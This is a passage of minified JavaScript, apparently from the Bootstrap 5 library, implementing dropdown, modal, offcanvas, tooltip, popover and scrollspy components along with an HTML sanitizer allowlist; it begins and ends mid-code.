n=t.includes(i._menu);if(t.includes(i._element)||i._config.autoClose==="inside"&&!n||i._config.autoClose==="outside"&&n){continue}if(i._menu.contains(e.target)&&(e.type==="keyup"&&e.key===ds||/input|select|option|textarea|form/i.test(e.target.tagName))){continue}if(e.type==="click"){r.clickEvent=e}}i._completeHide(r)}}static getParentFromElement(e){return Ln(e)||e.parentNode}static dataApiKeydownHandler(e){if(/input|textarea/i.test(e.target.tagName)?e.key===fs||e.key!==cs&&(e.key!==ps&&e.key!==hs||e.target.closest(Ds)):!vs.test(e.key)){return}const t=this.classList.contains(Cs);if(!t&&e.key===cs){return}e.preventDefault();e.stopPropagation();if(Bn(this)){return}const n=this.matches(js)?this:zi.prev(this,js)[0];const i=Bs.getOrCreateInstance(n);if(e.key===cs){i.hide();return}if(e.key===hs||e.key===ps){if(!t){i.show()}i._selectMenuItem(e);return}if(!t||e.key===fs){Bs.clearMenus()}}}mi.on(document,xs,js,Bs.dataApiKeydownHandler);mi.on(document,xs,Ds,Bs.dataApiKeydownHandler);mi.on(document,ws,Bs.clearMenus);mi.on(document,ks,Bs.clearMenus);mi.on(document,ws,js,(function(e){e.preventDefault();Bs.getOrCreateInstance(this).toggle()}));Gn(Bs);const qs=".fixed-top, .fixed-bottom, .is-fixed, .sticky-top";const zs=".sticky-top";class Ws{constructor(){this._element=document.body}getWidth(){const e=document.documentElement.clientWidth;return Math.abs(window.innerWidth-e)}hide(){const e=this.getWidth();this._disableOverFlow();this._setElementAttributes(this._element,"paddingRight",(t=>t+e));this._setElementAttributes(qs,"paddingRight",(t=>t+e));this._setElementAttributes(zs,"marginRight",(t=>t-e))}_disableOverFlow(){this._saveInitialAttribute(this._element,"overflow");this._element.style.overflow="hidden"}_setElementAttributes(e,t,n){const i=this.getWidth();const r=e=>{if(e!==this._element&&window.innerWidth>e.clientWidth+i){return}this._saveInitialAttribute(e,t);const r=window.getComputedStyle(e)[t];e.style[t]=`${n(Number.parseFloat(r))}px`};this._applyManipulationCallback(e,r)}reset(){this._resetElementAttributes(this._element,"overflow");this._resetElementAttributes(this._element,"paddingRight");this._resetElementAttributes(qs,"paddingRight");this._resetElementAttributes(zs,"marginRight")}_saveInitialAttribute(e,t){const n=e.style[t];if(n){Bi.setDataAttribute(e,t,n)}}_resetElementAttributes(e,t){const n=e=>{const n=Bi.getDataAttribute(e,t);if(typeof n==="undefined"){e.style.removeProperty(t)}else{Bi.removeDataAttribute(e,t);e.style[t]=n}};this._applyManipulationCallback(e,n)}_applyManipulationCallback(e,t){if(Mn(e)){t(e)}else{zi.find(e,this._element).forEach(t)}}isOverflowing(){return this.getWidth()>0}}const Qs={className:"modal-backdrop",isVisible:true,isAnimated:false,rootElement:"body",clickCallback:null};const Vs={className:"string",isVisible:"boolean",isAnimated:"boolean",rootElement:"(element|string)",clickCallback:"(function|null)"};const Us="backdrop";const Ks="fade";const Gs="show";const Ys=`mousedown.bs.${Us}`;class Xs{constructor(e){this._config=this._getConfig(e);this._isAppended=false;this._element=null}show(e){if(!this._config.isVisible){Yn(e);return}this._append();if(this._config.isAnimated){Wn(this._getElement())}this._getElement().classList.add(Gs);this._emulateAnimation((()=>{Yn(e)}))}hide(e){if(!this._config.isVisible){Yn(e);return}this._getElement().classList.remove(Gs);this._emulateAnimation((()=>{this.dispose();Yn(e)}))}_getElement(){if(!this._element){const e=document.createElement("div");e.className=this._config.className;if(this._config.isAnimated){e.classList.add(Ks)}this._element=e}return this._element}_getConfig(e){e={...Qs,...typeof e==="object"?e:{}};e.rootElement=$n(e.rootElement);Rn(Us,e,Vs);return e}_append(){if(this._isAppended){return}this._config.rootElement.append(this._getElement());mi.on(this._getElement(),Ys,(()=>{Yn(this._config.clickCallback)}));this._isAppended=true}dispose(){if(!this._isAppended){return}mi.off(this._element,Ys);this._element.remove();this._isAppended=false}_emulateAnimation(e){Xn(e,this._getElement(),this._config.isAnimated)}}const Js={trapElement:null,autofocus:true};const Zs={trapElement:"element",autofocus:"boolean"};const eo="focustrap";const to="bs.focustrap";const no=`.${to}`;const io=`focusin${no}`;const ro=`keydown.tab${no}`;const so="Tab";const oo="forward";const ao="backward";class lo{constructor(e){this._config=this._getConfig(e);this._isActive=false;this._lastTabNavDirection=null}activate(){const{trapElement:e,autofocus:t}=this._config;if(this._isActive){return}if(t){e.focus()}mi.off(document,no);mi.on(document,io,(e=>this._handleFocusin(e)));mi.on(document,ro,(e=>this._handleKeydown(e)));this._isActive=true}deactivate(){if(!this._isActive){return}this._isActive=false;mi.off(document,no)}_handleFocusin(e){const{target:t}=e;const{trapElement:n}=this._config;if(t===document||t===n||n.contains(t)){return}const i=zi.focusableChildren(n);if(i.length===0){n.focus()}else if(this._lastTabNavDirection===ao){i[i.length-1].focus()}else{i[0].focus()}}_handleKeydown(e){if(e.key!==so){return}this._lastTabNavDirection=e.shiftKey?ao:oo}_getConfig(e){e={...Js,...typeof e==="object"?e:{}};Rn(eo,e,Zs);return e}}const uo="modal";const co="bs.modal";const fo=`.${co}`;const ho=".data-api";const po="Escape";const go={backdrop:true,keyboard:true,focus:true};const vo={backdrop:"(boolean|string)",keyboard:"boolean",focus:"boolean"};const mo=`hide${fo}`;const yo=`hidePrevented${fo}`;const bo=`hidden${fo}`;const _o=`show${fo}`;const wo=`shown${fo}`;const xo=`resize${fo}`;const ko=`click.dismiss${fo}`;const Co=`keydown.dismiss${fo}`;const Eo=`mouseup.dismiss${fo}`;const Ao=`mousedown.dismiss${fo}`;const To=`click${fo}${ho}`;const So="modal-open";const jo="fade";const Do="show";const Oo="modal-static";const No=".modal.show";const Po=".modal-dialog";const Lo=".modal-body";const Fo='[data-bs-toggle="modal"]';class Io extends wi{constructor(e,t){super(e);this._config=this._getConfig(t);this._dialog=zi.findOne(Po,this._element);this._backdrop=this._initializeBackDrop();this._focustrap=this._initializeFocusTrap();this._isShown=false;this._ignoreBackdropClick=false;this._isTransitioning=false;this._scrollBar=new Ws}static get Default(){return go}static get NAME(){return uo}toggle(e){return this._isShown?this.hide():this.show(e)}show(e){if(this._isShown||this._isTransitioning){return}const t=mi.trigger(this._element,_o,{relatedTarget:e});if(t.defaultPrevented){return}this._isShown=true;if(this._isAnimated()){this._isTransitioning=true}this._scrollBar.hide();document.body.classList.add(So);this._adjustDialog();this._setEscapeEvent();this._setResizeEvent();mi.on(this._dialog,Ao,(()=>{mi.one(this._element,Eo,(e=>{if(e.target===this._element){this._ignoreBackdropClick=true}}))}));this._showBackdrop((()=>this._showElement(e)))}hide(){if(!this._isShown||this._isTransitioning){return}const e=mi.trigger(this._element,mo);if(e.defaultPrevented){return}this._isShown=false;const t=this._isAnimated();if(t){this._isTransitioning=true}this._setEscapeEvent();this._setResizeEvent();this._focustrap.deactivate();this._element.classList.remove(Do);mi.off(this._element,ko);mi.off(this._dialog,Ao);this._queueCallback((()=>this._hideModal()),this._element,t)}dispose(){[window,this._dialog].forEach((e=>mi.off(e,fo)));this._backdrop.dispose();this._focustrap.deactivate();super.dispose()}handleUpdate(){this._adjustDialog()}_initializeBackDrop(){return new Xs({isVisible:Boolean(this._config.backdrop),isAnimated:this._isAnimated()})}_initializeFocusTrap(){return new lo({trapElement:this._element})}_getConfig(e){e={...go,...Bi.getDataAttributes(this._element),...typeof e==="object"?e:{}};Rn(uo,e,vo);return e}_showElement(e){const t=this._isAnimated();const n=zi.findOne(Lo,this._dialog);if(!this._element.parentNode||this._element.parentNode.nodeType!==Node.ELEMENT_NODE){document.body.append(this._element)}this._element.style.display="block";this._element.removeAttribute("aria-hidden");this._element.setAttribute("aria-modal",true);this._element.setAttribute("role","dialog");this._element.scrollTop=0;if(n){n.scrollTop=0}if(t){Wn(this._element)}this._element.classList.add(Do);const i=()=>{if(this._config.focus){this._focustrap.activate()}this._isTransitioning=false;mi.trigger(this._element,wo,{relatedTarget:e})};this._queueCallback(i,this._dialog,t)}_setEscapeEvent(){if(this._isShown){mi.on(this._element,Co,(e=>{if(this._config.keyboard&&e.key===po){e.preventDefault();this.hide()}else if(!this._config.keyboard&&e.key===po){this._triggerBackdropTransition()}}))}else{mi.off(this._element,Co)}}_setResizeEvent(){if(this._isShown){mi.on(window,xo,(()=>this._adjustDialog()))}else{mi.off(window,xo)}}_hideModal(){this._element.style.display="none";this._element.setAttribute("aria-hidden",true);this._element.removeAttribute("aria-modal");this._element.removeAttribute("role");this._isTransitioning=false;this._backdrop.hide((()=>{document.body.classList.remove(So);this._resetAdjustments();this._scrollBar.reset();mi.trigger(this._element,bo)}))}_showBackdrop(e){mi.on(this._element,ko,(e=>{if(this._ignoreBackdropClick){this._ignoreBackdropClick=false;return}if(e.target!==e.currentTarget){return}if(this._config.backdrop===true){this.hide()}else if(this._config.backdrop==="static"){this._triggerBackdropTransition()}}));this._backdrop.show(e)}_isAnimated(){return this._element.classList.contains(jo)}_triggerBackdropTransition(){const e=mi.trigger(this._element,yo);if(e.defaultPrevented){return}const{classList:t,scrollHeight:n,style:i}=this._element;const r=n>document.documentElement.clientHeight;if(!r&&i.overflowY==="hidden"||t.contains(Oo)){return}if(!r){i.overflowY="hidden"}t.add(Oo);this._queueCallback((()=>{t.remove(Oo);if(!r){this._queueCallback((()=>{i.overflowY=""}),this._dialog)}}),this._dialog);this._element.focus()}_adjustDialog(){const e=this._element.scrollHeight>document.documentElement.clientHeight;const t=this._scrollBar.getWidth();const n=t>0;if(!n&&e&&!Kn()||n&&!e&&Kn()){this._element.style.paddingLeft=`${t}px`}if(n&&!e&&!Kn()||!n&&e&&Kn()){this._element.style.paddingRight=`${t}px`}}_resetAdjustments(){this._element.style.paddingLeft="";this._element.style.paddingRight=""}static jQueryInterface(e,t){return this.each((function(){const n=Io.getOrCreateInstance(this,e);if(typeof e!=="string"){return}if(typeof n[e]==="undefined"){throw new TypeError(`No method named "${e}"`)}n[e](t)}))}}mi.on(document,To,Fo,(function(e){const t=Ln(this);if(["A","AREA"].includes(this.tagName)){e.preventDefault()}mi.one(t,_o,(e=>{if(e.defaultPrevented){return}mi.one(t,bo,(()=>{if(Hn(this)){this.focus()}}))}));const n=zi.findOne(No);if(n){Io.getInstance(n).hide()}const i=Io.getOrCreateInstance(t);i.toggle(this)}));xi(Io);Gn(Io);const Mo="offcanvas";const $o="bs.offcanvas";const Ro=`.${$o}`;const Ho=".data-api";const Bo=`load${Ro}${Ho}`;const qo="Escape";const zo={backdrop:true,keyboard:true,scroll:false};const Wo={backdrop:"boolean",keyboard:"boolean",scroll:"boolean"};const Qo="show";const Vo="offcanvas-backdrop";const Uo=".offcanvas.show";const Ko=`show${Ro}`;const Go=`shown${Ro}`;const Yo=`hide${Ro}`;const Xo=`hidden${Ro}`;const Jo=`click${Ro}${Ho}`;const Zo=`keydown.dismiss${Ro}`;const ea='[data-bs-toggle="offcanvas"]';class ta extends wi{constructor(e,t){super(e);this._config=this._getConfig(t);this._isShown=false;this._backdrop=this._initializeBackDrop();this._focustrap=this._initializeFocusTrap();this._addEventListeners()}static get NAME(){return Mo}static get Default(){return zo}toggle(e){return this._isShown?this.hide():this.show(e)}show(e){if(this._isShown){return}const t=mi.trigger(this._element,Ko,{relatedTarget:e});if(t.defaultPrevented){return}this._isShown=true;this._element.style.visibility="visible";this._backdrop.show();if(!this._config.scroll){(new Ws).hide()}this._element.removeAttribute("aria-hidden");this._element.setAttribute("aria-modal",true);this._element.setAttribute("role","dialog");this._element.classList.add(Qo);const n=()=>{if(!this._config.scroll){this._focustrap.activate()}mi.trigger(this._element,Go,{relatedTarget:e})};this._queueCallback(n,this._element,true)}hide(){if(!this._isShown){return}const e=mi.trigger(this._element,Yo);if(e.defaultPrevented){return}this._focustrap.deactivate();this._element.blur();this._isShown=false;this._element.classList.remove(Qo);this._backdrop.hide();const t=()=>{this._element.setAttribute("aria-hidden",true);this._element.removeAttribute("aria-modal");this._element.removeAttribute("role");this._element.style.visibility="hidden";if(!this._config.scroll){(new Ws).reset()}mi.trigger(this._element,Xo)};this._queueCallback(t,this._element,true)}dispose(){this._backdrop.dispose();this._focustrap.deactivate();super.dispose()}_getConfig(e){e={...zo,...Bi.getDataAttributes(this._element),...typeof e==="object"?e:{}};Rn(Mo,e,Wo);return e}_initializeBackDrop(){return new Xs({className:Vo,isVisible:this._config.backdrop,isAnimated:true,rootElement:this._element.parentNode,clickCallback:()=>this.hide()})}_initializeFocusTrap(){return new lo({trapElement:this._element})}_addEventListeners(){mi.on(this._element,Zo,(e=>{if(this._config.keyboard&&e.key===qo){this.hide()}}))}static jQueryInterface(e){return this.each((function(){const t=ta.getOrCreateInstance(this,e);if(typeof e!=="string"){return}if(t[e]===undefined||e.startsWith("_")||e==="constructor"){throw new TypeError(`No method named "${e}"`)}t[e](this)}))}}mi.on(document,Jo,ea,(function(e){const t=Ln(this);if(["A","AREA"].includes(this.tagName)){e.preventDefault()}if(Bn(this)){return}mi.one(t,Xo,(()=>{if(Hn(this)){this.focus()}}));const n=zi.findOne(Uo);if(n&&n!==t){ta.getInstance(n).hide()}const i=ta.getOrCreateInstance(t);i.toggle(this)}));mi.on(window,Bo,(()=>zi.find(Uo).forEach((e=>ta.getOrCreateInstance(e).show()))));xi(ta);Gn(ta);const na=new Set(["background","cite","href","itemtype","longdesc","poster","src","xlink:href"]);const ia=/^aria-[\w-]*$/i;const ra=/^(?:(?:https?|mailto|ftp|tel|file|sms):|[^#&/:?]*(?:[#/?]|$))/i;const sa=/^data:(?:image\/(?:bmp|gif|jpeg|jpg|png|tiff|webp)|video\/(?:mpeg|mp4|ogg|webm)|audio\/(?:mp3|oga|ogg|opus));base64,[\d+/a-z]+=*$/i;const oa=(e,t)=>{const n=e.nodeName.toLowerCase();if(t.includes(n)){if(na.has(n)){return Boolean(ra.test(e.nodeValue)||sa.test(e.nodeValue))}return true}const i=t.filter((e=>e instanceof RegExp));for(let e=0,t=i.length;e<t;e++){if(i[e].test(n)){return true}}return false};const aa={"*":["class","dir","id","lang","role",ia],a:["target","href","title","rel"],area:[],b:[],br:[],col:[],code:[],div:[],em:[],hr:[],h1:[],h2:[],h3:[],h4:[],h5:[],h6:[],i:[],img:["src","srcset","alt","title","width","height"],li:[],ol:[],p:[],pre:[],s:[],small:[],span:[],sub:[],sup:[],strong:[],u:[],ul:[]};function la(e,t,n){if(!e.length){return e}if(n&&typeof n==="function"){return n(e)}const i=new window.DOMParser;const r=i.parseFromString(e,"text/html");const s=[].concat(...r.body.querySelectorAll("*"));for(let e=0,n=s.length;e<n;e++){const n=s[e];const i=n.nodeName.toLowerCase();if(!Object.keys(t).includes(i)){n.remove();continue}const r=[].concat(...n.attributes);const o=[].concat(t["*"]||[],t[i]||[]);r.forEach((e=>{if(!oa(e,o)){n.removeAttribute(e.nodeName)}}))}return r.body.innerHTML}const ua="tooltip";const ca="bs.tooltip";const fa=`.${ca}`;const da="bs-tooltip";const ha=new Set(["sanitize","allowList","sanitizeFn"]);const pa={animation:"boolean",template:"string",title:"(string|element|function)",trigger:"string",delay:"(number|object)",html:"boolean",selector:"(string|boolean)",placement:"(string|function)",offset:"(array|string|function)",container:"(string|element|boolean)",fallbackPlacements:"array",boundary:"(string|element)",customClass:"(string|function)",sanitize:"boolean",sanitizeFn:"(null|function)",allowList:"object",popperConfig:"(null|object|function)"};const ga={AUTO:"auto",TOP:"top",RIGHT:Kn()?"left":"right",BOTTOM:"bottom",LEFT:Kn()?"right":"left"};const va={animation:true,template:'<div class="tooltip" role="tooltip">'+'<div class="tooltip-arrow"></div>'+'<div class="tooltip-inner"></div>'+"</div>",trigger:"hover focus",title:"",delay:0,html:false,selector:false,placement:"top",offset:[0,0],container:false,fallbackPlacements:["top","right","bottom","left"],boundary:"clippingParents",customClass:"",sanitize:true,sanitizeFn:null,allowList:aa,popperConfig:null};const ma={HIDE:`hide${fa}`,HIDDEN:`hidden${fa}`,SHOW:`show${fa}`,SHOWN:`shown${fa}`,INSERTED:`inserted${fa}`,CLICK:`click${fa}`,FOCUSIN:`focusin${fa}`,FOCUSOUT:`focusout${fa}`,MOUSEENTER:`mouseenter${fa}`,MOUSELEAVE:`mouseleave${fa}`};const ya="fade";const ba="modal";const _a="show";const wa="show";const xa="out";const ka=".tooltip-inner";const Ca=`.${ba}`;const Ea="hide.bs.modal";const Aa="hover";const Ta="focus";const Sa="click";const ja="manual";class Da extends wi{constructor(e,t){if(typeof An==="undefined"){throw new TypeError("Bootstrap's tooltips require Popper (https://popper.js.org)")}super(e);this._isEnabled=true;this._timeout=0;this._hoverState="";this._activeTrigger={};this._popper=null;this._config=this._getConfig(t);this.tip=null;this._setListeners()}static get Default(){return va}static get NAME(){return ua}static get Event(){return ma}static get DefaultType(){return pa}enable(){this._isEnabled=true}disable(){this._isEnabled=false}toggleEnabled(){this._isEnabled=!this._isEnabled}toggle(e){if(!this._isEnabled){return}if(e){const t=this._initializeOnDelegatedTarget(e);t._activeTrigger.click=!t._activeTrigger.click;if(t._isWithActiveTrigger()){t._enter(null,t)}else{t._leave(null,t)}}else{if(this.getTipElement().classList.contains(_a)){this._leave(null,this);return}this._enter(null,this)}}dispose(){clearTimeout(this._timeout);mi.off(this._element.closest(Ca),Ea,this._hideModalHandler);if(this.tip){this.tip.remove()}this._disposePopper();super.dispose()}show(){if(this._element.style.display==="none"){throw new Error("Please use show on visible elements")}if(!(this.isWithContent()&&this._isEnabled)){return}const e=mi.trigger(this._element,this.constructor.Event.SHOW);const t=qn(this._element);const n=t===null?this._element.ownerDocument.documentElement.contains(this._element):t.contains(this._element);if(e.defaultPrevented||!n){return}if(this.constructor.NAME==="tooltip"&&this.tip&&this.getTitle()!==this.tip.querySelector(ka).innerHTML){this._disposePopper();this.tip.remove();this.tip=null}const i=this.getTipElement();const r=On(this.constructor.NAME);i.setAttribute("id",r);this._element.setAttribute("aria-describedby",r);if(this._config.animation){i.classList.add(ya)}const s=typeof this._config.placement==="function"?this._config.placement.call(this,i,this._element):this._config.placement;const o=this._getAttachment(s);this._addAttachmentClass(o);const{container:a}=this._config;bi.set(i,this.constructor.DATA_KEY,this);if(!this._element.ownerDocument.documentElement.contains(this.tip)){a.append(i);mi.trigger(this._element,this.constructor.Event.INSERTED)}if(this._popper){this._popper.update()}else{this._popper=En(this._element,i,this._getPopperConfig(o))}i.classList.add(_a);const l=this._resolvePossibleFunction(this._config.customClass);if(l){i.classList.add(...l.split(" "))}if("ontouchstart"in document.documentElement){[].concat(...document.body.children).forEach((e=>{mi.on(e,"mouseover",zn)}))}const u=()=>{const e=this._hoverState;this._hoverState=null;mi.trigger(this._element,this.constructor.Event.SHOWN);if(e===xa){this._leave(null,this)}};const c=this.tip.classList.contains(ya);this._queueCallback(u,this.tip,c)}hide(){if(!this._popper){return}const e=this.getTipElement();const t=()=>{if(this._isWithActiveTrigger()){return}if(this._hoverState!==wa){e.remove()}this._cleanTipClass();this._element.removeAttribute("aria-describedby");mi.trigger(this._element,this.constructor.Event.HIDDEN);this._disposePopper()};const n=mi.trigger(this._element,this.constructor.Event.HIDE);if(n.defaultPrevented){return}e.classList.remove(_a);if("ontouchstart"in document.documentElement){[].concat(...document.body.children).forEach((e=>mi.off(e,"mouseover",zn)))}this._activeTrigger[Sa]=false;this._activeTrigger[Ta]=false;this._activeTrigger[Aa]=false;const i=this.tip.classList.contains(ya);this._queueCallback(t,this.tip,i);this._hoverState=""}update(){if(this._popper!==null){this._popper.update()}}isWithContent(){return Boolean(this.getTitle())}getTipElement(){if(this.tip){return this.tip}const e=document.createElement("div");e.innerHTML=this._config.template;const t=e.children[0];this.setContent(t);t.classList.remove(ya,_a);this.tip=t;return this.tip}setContent(e){this._sanitizeAndSetContent(e,this.getTitle(),ka)}_sanitizeAndSetContent(e,t,n){const i=zi.findOne(n,e);if(!t&&i){i.remove();return}this.setElementContent(i,t)}setElementContent(e,t){if(e===null){return}if(Mn(t)){t=$n(t);if(this._config.html){if(t.parentNode!==e){e.innerHTML="";e.append(t)}}else{e.textContent=t.textContent}return}if(this._config.html){if(this._config.sanitize){t=la(t,this._config.allowList,this._config.sanitizeFn)}e.innerHTML=t}else{e.textContent=t}}getTitle(){const e=this._element.getAttribute("data-bs-original-title")||this._config.title;return this._resolvePossibleFunction(e)}updateAttachment(e){if(e==="right"){return"end"}if(e==="left"){return"start"}return e}_initializeOnDelegatedTarget(e,t){return t||this.constructor.getOrCreateInstance(e.delegateTarget,this._getDelegateConfig())}_getOffset(){const{offset:e}=this._config;if(typeof e==="string"){return e.split(",").map((e=>Number.parseInt(e,10)))}if(typeof e==="function"){return t=>e(t,this._element)}return e}_resolvePossibleFunction(e){return typeof e==="function"?e.call(this._element):e}_getPopperConfig(e){const t={placement:e,modifiers:[{name:"flip",options:{fallbackPlacements:this._config.fallbackPlacements}},{name:"offset",options:{offset:this._getOffset()}},{name:"preventOverflow",options:{boundary:this._config.boundary}},{name:"arrow",options:{element:`.${this.constructor.NAME}-arrow`}},{name:"onChange",enabled:true,phase:"afterWrite",fn:e=>this._handlePopperPlacementChange(e)}],onFirstUpdate:e=>{if(e.options.placement!==e.placement){this._handlePopperPlacementChange(e)}}};return{...t,...typeof this._config.popperConfig==="function"?this._config.popperConfig(t):this._config.popperConfig}}_addAttachmentClass(e){this.getTipElement().classList.add(`${this._getBasicClassPrefix()}-${this.updateAttachment(e)}`)}_getAttachment(e){return ga[e.toUpperCase()]}_setListeners(){const e=this._config.trigger.split(" ");e.forEach((e=>{if(e==="click"){mi.on(this._element,this.constructor.Event.CLICK,this._config.selector,(e=>this.toggle(e)))}else if(e!==ja){const t=e===Aa?this.constructor.Event.MOUSEENTER:this.constructor.Event.FOCUSIN;const n=e===Aa?this.constructor.Event.MOUSELEAVE:this.constructor.Event.FOCUSOUT;mi.on(this._element,t,this._config.selector,(e=>this._enter(e)));mi.on(this._element,n,this._config.selector,(e=>this._leave(e)))}}));this._hideModalHandler=()=>{if(this._element){this.hide()}};mi.on(this._element.closest(Ca),Ea,this._hideModalHandler);if(this._config.selector){this._config={...this._config,trigger:"manual",selector:""}}else{this._fixTitle()}}_fixTitle(){const e=this._element.getAttribute("title");const t=typeof this._element.getAttribute("data-bs-original-title");if(e||t!=="string"){this._element.setAttribute("data-bs-original-title",e||"");if(e&&!this._element.getAttribute("aria-label")&&!this._element.textContent){this._element.setAttribute("aria-label",e)}this._element.setAttribute("title","")}}_enter(e,t){t=this._initializeOnDelegatedTarget(e,t);if(e){t._activeTrigger[e.type==="focusin"?Ta:Aa]=true}if(t.getTipElement().classList.contains(_a)||t._hoverState===wa){t._hoverState=wa;return}clearTimeout(t._timeout);t._hoverState=wa;if(!t._config.delay||!t._config.delay.show){t.show();return}t._timeout=setTimeout((()=>{if(t._hoverState===wa){t.show()}}),t._config.delay.show)}_leave(e,t){t=this._initializeOnDelegatedTarget(e,t);if(e){t._activeTrigger[e.type==="focusout"?Ta:Aa]=t._element.contains(e.relatedTarget)}if(t._isWithActiveTrigger()){return}clearTimeout(t._timeout);t._hoverState=xa;if(!t._config.delay||!t._config.delay.hide){t.hide();return}t._timeout=setTimeout((()=>{if(t._hoverState===xa){t.hide()}}),t._config.delay.hide)}_isWithActiveTrigger(){for(const e in this._activeTrigger){if(this._activeTrigger[e]){return true}}return false}_getConfig(e){const t=Bi.getDataAttributes(this._element);Object.keys(t).forEach((e=>{if(ha.has(e)){delete t[e]}}));e={...this.constructor.Default,...t,...typeof e==="object"&&e?e:{}};e.container=e.container===false?document.body:$n(e.container);if(typeof e.delay==="number"){e.delay={show:e.delay,hide:e.delay}}if(typeof e.title==="number"){e.title=e.title.toString()}if(typeof e.content==="number"){e.content=e.content.toString()}Rn(ua,e,this.constructor.DefaultType);if(e.sanitize){e.template=la(e.template,e.allowList,e.sanitizeFn)}return e}_getDelegateConfig(){const e={};for(const t in this._config){if(this.constructor.Default[t]!==this._config[t]){e[t]=this._config[t]}}return e}_cleanTipClass(){const e=this.getTipElement();const t=new RegExp(`(^|\\s)${this._getBasicClassPrefix()}\\S+`,"g");const n=e.getAttribute("class").match(t);if(n!==null&&n.length>0){n.map((e=>e.trim())).forEach((t=>e.classList.remove(t)))}}_getBasicClassPrefix(){return da}_handlePopperPlacementChange(e){const{state:t}=e;if(!t){return}this.tip=t.elements.popper;this._cleanTipClass();this._addAttachmentClass(this._getAttachment(t.placement))}_disposePopper(){if(this._popper){this._popper.destroy();this._popper=null}}static jQueryInterface(e){return this.each((function(){const t=Da.getOrCreateInstance(this,e);if(typeof e==="string"){if(typeof t[e]==="undefined"){throw new TypeError(`No method named "${e}"`)}t[e]()}}))}}Gn(Da);const Oa="popover";const Na="bs.popover";const Pa=`.${Na}`;const La="bs-popover";const Fa={...Da.Default,placement:"right",offset:[0,8],trigger:"click",content:"",template:'<div class="popover" role="tooltip">'+'<div class="popover-arrow"></div>'+'<h3 class="popover-header"></h3>'+'<div class="popover-body"></div>'+"</div>"};const Ia={...Da.DefaultType,content:"(string|element|function)"};const Ma={HIDE:`hide${Pa}`,HIDDEN:`hidden${Pa}`,SHOW:`show${Pa}`,SHOWN:`shown${Pa}`,INSERTED:`inserted${Pa}`,CLICK:`click${Pa}`,FOCUSIN:`focusin${Pa}`,FOCUSOUT:`focusout${Pa}`,MOUSEENTER:`mouseenter${Pa}`,MOUSELEAVE:`mouseleave${Pa}`};const $a=".popover-header";const Ra=".popover-body";class Ha extends Da{static get Default(){return Fa}static get NAME(){return Oa}static get Event(){return Ma}static get DefaultType(){return Ia}isWithContent(){return this.getTitle()||this._getContent()}setContent(e){this._sanitizeAndSetContent(e,this.getTitle(),$a);this._sanitizeAndSetContent(e,this._getContent(),Ra)}_getContent(){return this._resolvePossibleFunction(this._config.content)}_getBasicClassPrefix(){return La}static jQueryInterface(e){return this.each((function(){const t=Ha.getOrCreateInstance(this,e);if(typeof e==="string"){if(typeof t[e]==="undefined"){throw new TypeError(`No method named "${e}"`)}t[e]()}}))}}Gn(Ha);const Ba="scrollspy";const qa="bs.scrollspy";const za=`.${qa}`;const Wa=".data-api";const Qa={offset:10,method:"auto",target:""};const Va={offset:"number",method:"string",target:"(string|element)"};const Ua=`activate${za}`;const Ka=`scroll${za}`;const Ga=`load${za}${Wa}`;const Ya="dropdown-item";const Xa="active";const Ja='[data-bs-spy="scroll"]';const Za=".nav, .list-group";const el=".nav-link";const tl=".nav-item";const nl=".list-group-item";const il=`${el}, ${nl}, .${Ya}`;const rl=".dropdown";const sl=".dropdown-toggle";const ol="offset";const al="position";class ll extends wi{constructor(e,t){super(e);this._scrollElement=this._element.tagName==="BODY"?window:this._element;this._config=this._getConfig(t);this._offsets=[];this._targets=[];this._activeTarget=null;this._scrollHeight=0;mi.on(this._scrollElement,Ka,(()=>this._process()));this.refresh();this._process()}static get Default(){return Qa}static get NAME(){return Ba}refresh(){const e=this._scrollElement===this._scrollElement.window?ol:al;const t=this._config.method==="auto"?e:this._config.method;const n=t===al?this._getScrollTop():0;this._offsets=[];this._targets=[];this._scrollHeight=this._getScrollHeight();const i=zi.find(il,this._config.target);i.map((e=>{const i=Pn(e);const r=i?zi.findOne(i):null;if(r){const e=r.getBoundingClientRect();if(e.width||e.height){return[Bi[t](r).top+n,i]}}return null})).filter((e=>e)).sort(((e,t)=>e[0]-t[0])).forEach((e=>{this._offsets.push(e[0]);this._targets.push(e[1])}))}dispose(){mi.off(this._scrollElement,za);super.dispose()}_getConfig(e){e={...Qa,...Bi.getDataAttributes(this._element),...typeof e==="object"&&e?e:{}};e.target=$n(e.target)||document.documentElement;Rn(Ba,e,Va);return e}_getScrollTop(){return this._scrollElement===window?this._scrollElement.pageYOffset:this._scrollElement.scrollTop}_getScrollHeight(){return this._scrollElement.scrollHeight||Math.max(document.body.scrollHeight,document.documentElement.scrollHeight)}_getOffsetHeight(){return this._scrollElement===window?window.innerHeight:this._scrollElement.getBoundingClientRect().height}_process(){const e=this._getScrollTop()+this._config.offset;const t=this._getScrollHeight();const n=this._config.offset+t-this._getOffsetHeight();if(this._scrollHeight!==t){this.refresh()}if(e>=n){const e=this._targets[this._targets.length-1];if(this._activeTarget!==e){this._activate(e)}return}if(this._activeTarget&&e<this._offsets[0]&&this._offsets[0]>0){this._activeTarget=null;this._clear();return}for(let t=this._offsets.length;t--;){const n=this._activeTarget!==this._targets[t]&&e>=this._offsets[t]&&(typeof this._offsets[t+1]==="undefined"||e<this._offsets[t+1]);if(n){this._activate(this._targets[t])}}}_activate(e){this._activeTarget=e;this._clear();const t=il.split(",").map((t=>`${t}[data-bs-target="${e}"],${t}[href="${e}"]`));const n=zi.findOne(t.join(","),this._config.target);n.classList.add(Xa);if(n.classList.contains(Ya)){zi.findOne(sl,n.closest(rl)).classList.add(Xa)}else{zi.parents(n,Za).forEach((e=>{zi.prev(e,`${el}, ${nl}`).forEach((e=>e.classList.add(Xa)));zi.prev(e,tl).forEach((e=>{zi.children(e,el).forEach((e=>e.classList.add(Xa)))}))}))}mi.trigger(this._scrollElement,Ua,{relatedTarget:e})}_clear(){zi.find(il,this._config.target).filter((e=>e.classList.contains(Xa))).forEach((e=>e.classList.remove(Xa)))}static jQueryInterface(e){return this.each((function(){const t=ll.getOrCreateInstance(this,e);if(typeof e!=="string"){return}if(typeof t[e]==="undefined"){throw new TypeError(`No method named "${e}"`)}t[e]()}))}}mi.on(window,Ga,(()=>{zi.find(Ja).forEach((e=>new ll(e)))}));Gn(ll);const ul="tab";const cl="bs.tab";const fl=`.${cl}`;const dl=".data-api";const hl=`hide${fl}`;const pl=`hidden${fl}`;const gl=`show${fl}`;const vl=`shown${fl}`;const ml=`click${fl}${dl}`;const yl="dropdown-menu";const bl="active";const _l="fade";const wl="show";const xl=".dropdown";const kl=".nav, .list-group";const Cl=".active";const El=":scope > li > .active";const Al='[data-bs-toggle="tab"], [data-bs-toggle="pill"], [data-bs-toggle="list"]';const 